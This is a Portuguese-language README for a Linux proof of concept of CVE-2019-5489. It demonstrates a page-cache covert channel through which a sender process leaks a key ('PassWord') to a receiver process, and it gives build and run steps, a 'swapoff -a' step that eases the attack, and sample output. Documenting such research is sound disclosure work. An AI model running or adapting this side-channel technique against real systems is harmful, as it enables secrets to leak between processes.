
Ataques de canal lateral em Page Cache (CVE-2019-5489) — prova de conceito para Linux
Este repositório contém a prova de conceito para Linux dos ataques de canal lateral de cache de páginas (CVE-2019-5489).
Para avaliar o canal lateral de cache de página, implementei um canal encoberto entre dois processos. O processo remetente envia dados confidenciais a um processo receptor por meio do canal lateral de cache de página. Os ataques de cache de página foram mitigados no Linux Kernel 5.0 e versões posteriores, portanto esta PoC só funcionará antes do Linux Kernel 5.0.
NOTA: Testei e funciona no Ubuntu 18.04, Linux 4.15.0-70.
Execute o seguinte comando.
git clone https://github.com/mmxsrup/CVE-2019-5489
cd CVE-2019-5489
make
Desative o espaço de swap para facilitar o ataque.
swapoff -a
Primeiro, execute o seguinte comando no terminal 1.
make run-sender
Depois que sending 1th character ... for exibido no terminal 1, execute o seguinte comando.
make run-receiver
Se a execução for bem-sucedida, a seguinte saída será exibida.
Isso mostra que a chave foi enviada do processo Remetente (Sender) para o processo Receptor (Receiver) por meio do canal lateral de cache de página.
LD_LIBRARY_PATH=. ./sender
Sender process
ecicting page cache ...
sending 1th character ...
ecicting page cache ...
sending 2th character ...
ecicting page cache ...
sending 3th character ...
ecicting page cache ...
sending 4th character ...
ecicting page cache ...
sending 5th character ...
ecicting page cache ...
sending 6th character ...
ecicting page cache ...
sending 7th character ...
ecicting page cache ...
sending 8th character ...
ecicting page cache ...
sending 9th character ...
LD_LIBRARY_PATH=. ./receiver
Sender process
waiting ...
recved caracter(P)
waiting ...
recved caracter(a)
waiting ...
recved caracter(s)
waiting ...
recved caracter(s)
waiting ...
recved caracter(W)
waiting ...
recved caracter(o)
waiting ...
recved caracter(r)
waiting ...
recved caracter(d)
waiting ...
recved caracter()
Received key: PassWord